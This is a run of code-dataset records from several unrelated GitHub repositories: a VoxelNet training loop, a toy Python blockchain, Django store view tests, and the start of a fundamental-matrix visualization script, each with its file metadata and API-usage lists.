cv2.imwrite('results/%s_%s.png' % (id,tag), image)\n print(\"No objects detected\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef voxelnet_unit():\n\n torch.backends.cudnn.enabled = True\n\n # dataset\n dataset = A2D2Dataset(cfg=config, root='./data/KITTI', set='train')\n data_loader = data.DataLoader(dataset, batch_size=config.N, num_workers=4, collate_fn=detection_collate, shuffle=True, \\\n pin_memory=False)\n\n # network\n net = VoxelNet()\n net.cuda()\n\n net.train()\n\n # initialization\n print('Initializing weights...')\n net.apply(weights_init)\n\n # define optimizer\n optimizer = optim.SGD(net.parameters(), lr=0.01)\n\n # define loss function\n criterion = VoxelLoss(alpha=1.5, beta=1)\n\n # training process\n batch_iterator = None\n epoch_size = len(dataset) // config.N\n print('Epoch size', epoch_size)\n for iteration in range(10000):\n if (not batch_iterator) or (iteration % epoch_size == 0):\n # create batch iterator\n batch_iterator = iter(data_loader)\n\n voxel_features, voxel_coords, pos_equal_one, neg_equal_one, targets, images, calibs, ids = next(batch_iterator)\n\n # wrapper to variable\n voxel_features = Variable(torch.cuda.FloatTensor(voxel_features))\n pos_equal_one = Variable(torch.cuda.FloatTensor(pos_equal_one))\n neg_equal_one = Variable(torch.cuda.FloatTensor(neg_equal_one))\n targets = Variable(torch.cuda.FloatTensor(targets))\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n t0 = time.time()\n psm, rm = net(voxel_features, voxel_coords)\n\n # calculate loss\n conf_loss, reg_loss = criterion(rm, psm, pos_equal_one, neg_equal_one, targets)\n loss = conf_loss + reg_loss\n\n # backward\n loss.backward()\n optimizer.step()\n\n t1 = time.time()\n\n print('Timer: %.4f sec.' % (t1 - t0))\n print('iter ' + repr(iteration) + ' || Loss: %.4f || Conf Loss: %.4f || Loc Loss: %.4f' % \\\n (loss.data[0], conf_loss.data[0], reg_loss.data[0]))\n\n # visualization\n # draw_boxes(rm, psm, ids, images, calibs, 'pred')\n draw_boxes(targets.data, pos_equal_one.data, images, calibs, ids, 'true')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "ClumsyProgrammer/audi_-_waymo", "sub_path": "voxelnet_unit.py", "file_name": "voxelnet_unit.py", "file_ext": "py", "file_size_in_byte": 47875, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.backends", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 37, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 75, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 76, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.tile", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.ones_like", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.stack", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 109, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 109, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path", "line_number": 117, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.ascontiguousarray", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 162, "usage_type": "attribute"}, {"api_name": "numpy.ascontiguousarray", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 163, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.unravel_index", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.unravel_index", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.unravel_index", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 215, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 218, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 228, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.fromfile", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 248, "usage_type": "attribute"}, {"api_name": "cv2.imread", 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"usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 901, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 901, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 902, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 902, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 903, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 903, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 919, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 919, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 920, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 920, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 921, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 921, "usage_type": "attribute"}, {"api_name": "cv2.line", "line_number": 922, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 922, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 931, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 931, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 944, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 944, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 946, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 946, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 948, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 948, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 950, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 950, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 952, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 952, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 954, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 954, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 956, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 956, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 966, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 967, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 968, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 969, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 970, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 971, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 978, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 978, "usage_type": "attribute"}, {"api_name": "numpy.linalg.inv", "line_number": 981, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 981, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 982, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 987, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 989, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 990, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 991, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 992, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 997, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1003, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1009, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1010, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1010, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1011, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1011, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 1014, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 1016, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 1020, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 1025, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1031, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1035, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1036, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1036, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1037, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1037, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 1038, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 1039, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 1048, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 1049, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 1050, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 1051, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 1052, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 1061, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 1063, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 1065, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1065, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 1066, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1066, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 1067, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1067, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 1068, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1068, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 1070, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1070, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 1071, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1071, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 1072, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1072, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 1073, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1073, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 1075, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 1077, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 1079, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 1081, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 1082, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 1084, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 1089, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1117, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1144, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 1145, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1145, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 1146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1146, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 1147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1147, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 1149, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 1158, "usage_type": "call"}, {"api_name": "numpy.fromfile", "line_number": 1160, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 1160, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 1191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 1192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1192, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 1198, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 1198, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_uniform", "line_number": 1199, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 1199, "usage_type": "name"}, {"api_name": "numpy.pad", "line_number": 1217, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 1227, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 1228, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1229, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1230, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1231, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 1265, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 1266, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 1274, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 1279, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 1280, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 1282, "usage_type": "call"}, {"api_name": "torch.cuda.FloatTensor", "line_number": 1306, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 1306, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 1306, "usage_type": "call"}, {"api_name": "torch.cuda.FloatTensor", "line_number": 1307, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 1307, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 1307, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 1314, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 1325, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 1333, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1334, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1334, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1335, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1335, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 1340, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 1365, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1365, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 1368, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 1372, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 1373, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 1374, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 1375, "usage_type": "call"}, {"api_name": "torch.gt", "line_number": 1384, "usage_type": "call"}, {"api_name": "torch.masked_select", "line_number": 1388, "usage_type": "call"}, {"api_name": "torch.masked_select", "line_number": 1389, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 1399, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 1408, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 1411, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 1429, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 1433, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 1433, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 1447, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 1447, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 1464, "usage_type": "call"}, {"api_name": "torch.cuda.FloatTensor", "line_number": 1464, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 1464, "usage_type": "attribute"}, {"api_name": "torch.autograd.Variable", "line_number": 1465, "usage_type": "call"}, {"api_name": "torch.cuda.FloatTensor", "line_number": 1465, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 1465, "usage_type": "attribute"}, {"api_name": "torch.autograd.Variable", "line_number": 1466, "usage_type": "call"}, {"api_name": "torch.cuda.FloatTensor", "line_number": 1466, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 1466, "usage_type": "attribute"}, {"api_name": "torch.autograd.Variable", "line_number": 1467, "usage_type": "call"}, {"api_name": "torch.cuda.FloatTensor", "line_number": 1467, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 1467, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 1473, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1484, "usage_type": "call"}]} {"seq_id": "3539840131", "text": "import rsa, hashlib\r\n\r\nclass Chain:\r\n\tdef __init__(self):\r\n\t\tself.validatedBlocks = [Block(self, 'Genisis Block')]\r\n\t\tself.validatedBlocks[0].hash = hashlib.sha256('Genisis Block')\r\n\t\tself.pendingBlocks = []\r\n\t\tself.transactionBlock = Block(self, hashlib.sha256('Genisis Block'))\r\n\t\tself.accounts = {}\r\n\t\tself.validators = []\r\n\r\nclass Block:\r\n\tdef __init__(self, chain, prevBlockHash):\r\n\t\tself.transactions = []\r\n\t\tself.chain = chain\r\n\t\tself.capacity = 3\r\n\t\tself.previousHash = prevBlockHash\r\n\t\tself.hash = None\r\n\t\tself.data = ''\r\n\t\tself.votes = []\r\n\t\r\n\tdef addTransaction(self, transaction):\r\n\t\tself.transactions.append(transaction)\r\n\t\tif len(self.transactions) >= self.capacity:\r\n\t\t\tself.data = ' | '.join([' - '.join((transaction.sender, transaction.amount, transaction.reciver)) \\\r\n\t\t\t\tfor transaction in self.transactions] + ' || ' + self.previousHash).encode('ascii')\r\n\t\t\tself.hash = hashlib.sha256(self.data)\r\n\t\t\tself.chain.pendingBlocks.append(self)\r\n\r\n\tdef vote(self, vote, blockSignature, publicKey):\r\n\t\tif publicKey in self.chain.validators and rsa.decrypt(blockSignature, publicKey) == self.data:\r\n\t\t\tself.votes.append((vote, blockSignature, publicKey))\r\n\r\nclass Transaction:\r\n\tdef __init__(self, amount, senderPubKey, senderPrivKey, reciver):\r\n\t\tself.amount = amount\r\n\t\tself.sender = senderPubKey\r\n\t\tself.reciver = reciver\r\n\t\tself.signature = self.sign(senderPrivKey)\r\n\r\n\tdef sign(self, key):\r\n\t\tdata = f'{self.sender} sending {self.amount} to {self.reciver}'\r\n\t\treturn rsa.encrypt(data.encode('ascii'), key)\r\n\r\nclass Wallet:\r\n\tdef __init__(self, chain):\r\n\t\tself.balance = 0\r\n\t\tself.publicKey, self.privateKey = rsa.newkeys(4096)\r\n\t\tchain.accounts[self.publicKey] = 0\r\n\r\n\tdef send(self, amount, reciver):\r\n\t\ttransaction = Transaction(amount, self.publicKey, self.privateKey, reciver)\r\n\r\nclass Validator:\r\n\tdef __init__(self, chain, wallet):\r\n\t\tself.chain = chain\r\n\t\tself.wallet = wallet\r\n\t\tself.chain.validators.append(self.wallet.publickKey)\r\n\r\n\tdef validateBlock(self):\r\n\t\tblock = self.chain.pendingBlocks[0]\r\n\t\tfor transaction in block.transactions:\r\n\t\t\tif rsa.decrypt(transaction.signature, transaction.sender) == \\\r\n\t\t\tf'{transaction.sender} sending {transaction.amount} to {transaction.reciver}' and \\\r\n\t\t\tself.chain.accounts[transaction.sender] >= transaction.amount:\r\n\t\t\t\tblock.vote(True, rsa.encrypt(block.data.encode('ascii'), self.wallet.privateKey), self.wallet.publicKey)", "repo_name": "JJBrindamour/Cryptocurrency", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2397, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "hashlib.sha256", "line_number": 6, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 8, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 27, "usage_type": "call"}, {"api_name": "rsa.decrypt", "line_number": 31, "usage_type": "call"}, {"api_name": "rsa.encrypt", "line_number": 43, "usage_type": "call"}, {"api_name": "rsa.newkeys", "line_number": 48, "usage_type": "call"}, {"api_name": "rsa.decrypt", "line_number": 63, "usage_type": "call"}, {"api_name": "rsa.encrypt", "line_number": 66, "usage_type": "call"}]} {"seq_id": "13331254597", "text": "from unittest import skip\nfrom django.http import HttpRequest\nfrom django.test import TestCase, Client, RequestFactory\nfrom django.urls import reverse\n\n\nfrom store.models import Product, Category\nfrom store.views import ProductDetailView\n\n\n\n\n@skip(\"demonstrating skipping\")\nclass TestSkip(TestCase):\n def test_skip_example(self):\n pass\n\n\nclass TestViewResponses(TestCase):\n def setUp(self):\n self.client = Client()\n self.factory = RequestFactory()\n\n self.category1 = Category.objects.create(\n name=\"Books\",\n slug=\"books\",\n description=\"Book Category\",\n # image = models.ImageField(blank=True),\n )\n\n self.category2 = Category.objects.create(\n name=\"CDs\",\n slug=\"cds\",\n description=\"CD Category\",\n # image = models.ImageField(blank=True),\n )\n\n self.product1 = Product.objects.create(\n name=\"Book Product\",\n slug=\"book_product\",\n description=\"This is Testing Product.\",\n price=1000,\n image=\"test_image\",\n stock=100,\n )\n self.product1.categories.add(self.category1)\n\n self.product2 = Product.objects.create(\n name=\"CD Product\",\n slug=\"cd_product\",\n description=\"This is Testing Product.\",\n price=1000,\n image=\"test_image\",\n stock=100,\n )\n self.product2.categories.add(self.category2)\n\n def test_allowed_host(self):\n \"\"\"\n Test allowed host.\n \"\"\"\n response = self.client.get('/')\n self.assertEqual(response.status_code, 200)\n\n def test_store_page(self):\n \"\"\"\n Test store response status\n \"\"\"\n\n # Send get request to index page and store response\n response = self.client.get('/store/')\n\n # Make sure status code is 200\n self.assertEqual(response.status_code, 200)\n\n # Make sure all products are returned in the context\n self.assertEqual(response.context[\"products\"].count(), 2)\n\n def test_products_by_category(self):\n \"\"\"\n Test products_by_category filter\n \"\"\"\n\n # Send get request to index page and store response\n response = self.client.get(reverse('store:products_by_category', args=['books']))\n # response = self.client.get('/store/categories/books/')\n\n # Make sure status code is 200\n self.assertEqual(response.status_code, 200)\n\n # Make sure just selected category products are returned in the context\n self.assertEqual(response.context[\"products\"].count(), 1)\n\n\n def test_product_detail_page(self):\n \"\"\"\n Test product_detail page response status\n \"\"\"\n\n # Send get request to index page and store response\n response = self.client.get(reverse('store:product_detail', args=['book_product']))\n # response = self.client.get('/store/products/book_product/')\n\n # Make sure status code is 200\n self.assertEqual(response.status_code, 200)\n\n # Make sure Product is correct.\n html = response.content.decode('utf8')\n self.assertIn('Book Product', html)\n\n\n\n def test_no_product_found(self):\n \"\"\"\n Test no matching product\n \"\"\"\n response = self.client.get('/store/products/dummy/')\n self.assertEqual(response.status_code, 404)", "repo_name": "pyaephyokyaw15/Django-Ecommerce", "sub_path": "store/tests/test_views.py", "file_name": "test_views.py", "file_ext": "py", "file_size_in_byte": 3424, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "django.test.TestCase", "line_number": 14, "usage_type": "name"}, {"api_name": "unittest.skip", "line_number": 13, "usage_type": "call"}, {"api_name": "django.test.TestCase", "line_number": 19, "usage_type": "name"}, {"api_name": "django.test.Client", "line_number": 21, "usage_type": "call"}, {"api_name": "django.test.RequestFactory", "line_number": 22, "usage_type": "call"}, {"api_name": "store.models.Category.objects.create", "line_number": 24, "usage_type": "call"}, {"api_name": "store.models.Category.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "store.models.Category", "line_number": 24, "usage_type": "name"}, {"api_name": "store.models.Category.objects.create", "line_number": 31, "usage_type": "call"}, {"api_name": "store.models.Category.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "store.models.Category", "line_number": 31, "usage_type": "name"}, {"api_name": "store.models.Product.objects.create", "line_number": 38, "usage_type": "call"}, {"api_name": "store.models.Product.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "store.models.Product", "line_number": 38, "usage_type": "name"}, {"api_name": "store.models.Product.objects.create", "line_number": 48, "usage_type": "call"}, {"api_name": "store.models.Product.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "store.models.Product", "line_number": 48, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 85, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 101, "usage_type": "call"}]} {"seq_id": "39823778720", "text": "from models.DataLoader import DataLoader\nfrom models.DataSet import DataSet\nfrom models.models import DeepFMatNet, DeepFMatAlex, DeepFMatVGG16, DeepFMatResNet18\nfrom models.Regularizer import L2Regularizer, L1Regularizer\nimport torch.optim as optim\nimport torch.nn as nn\nfrom torch.optim.lr_scheduler import StepLR\nimport numpy as np\nimport torch\nimport os\nimport cv2\nimport pickle\nimport time\nfrom torch.utils.tensorboard import SummaryWriter\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\nimport argparse\nimport datetime\n\n# torch.autograd.set_detect_anomaly(True)\n\n\ndef epipoline(x, formula):\n '''\n\n :param x:\n :param formula:\n :return:\n '''\n array = formula.flatten()\n a = array[0]\n b = array[1]\n c = array[2]\n return int((-c - a * x) / b)\n\ndef verify_xfx(line, point):\n '''\n\n :param line:\n :param point:\n :return:\n '''\n l = np.array(line).flatten()\n a = l[0]\n b = l[1]\n return abs(line.dot(point))/np.sqrt(a*a+b*b)\n\ndef visualize2Images(args, left_paths, right_paths, f_mats, loss, epoch, img_idx, visualizeDir = \"visualization\"):\n '''\n\n :param args:\n :param left_paths:\n :param right_paths:\n :param f_mats:\n :param loss:\n :param epoch:\n :param img_idx:\n :param visualizeDir:\n :return:\n '''\n colors = [\n (255, 102, 102),\n (102, 255, 255),\n (125, 125, 125),\n (204, 229, 255),\n (0, 0, 204)\n ]\n f_mats = f_mats.cpu().numpy()\n THRESHOLD = 0.12\n sift = cv2.xfeatures2d.SIFT_create()\n bf = cv2.BFMatcher()\n images = []\n errors = {}\n for idx, (left_path, right_path, f_mat) in enumerate(zip(left_paths, right_paths, f_mats)):\n f_mat = np.array(f_mat.reshape((3,3)))\n\n left_img = cv2.imread(left_path)\n #-------\n hl, wl = left_img.shape[0], left_img.shape[1]\n left_img = left_img[int(hl / 2) - 128: int(hl / 2) + 128, int(wl / 2) - 128: int(wl / 2) + 128]\n#--------------------------\n\n left_imgG = cv2.cvtColor(left_img.copy(), cv2.COLOR_BGR2GRAY)\n left_img_line = left_img.copy()\n\n right_img = cv2.imread(right_path)\n#-------------------------------\n hr, wr = right_img.shape[0], right_img.shape[1]\n right_img = right_img[int(hr / 2) - 128: int(hr / 2) + 128, int(wr / 2) - 128: int(wr / 2) + 128]\n\n right_imgG = cv2.cvtColor(right_img.copy(), cv2.COLOR_BGR2GRAY)\n right_img_line = right_img.copy()\n\n (kps_left, descs_left) = sift.detectAndCompute(left_imgG, None)\n (kps_right, descs_right) = sift.detectAndCompute(right_imgG, None)\n\n matches = bf.knnMatch(descs_left, descs_right, k=2)\n good = 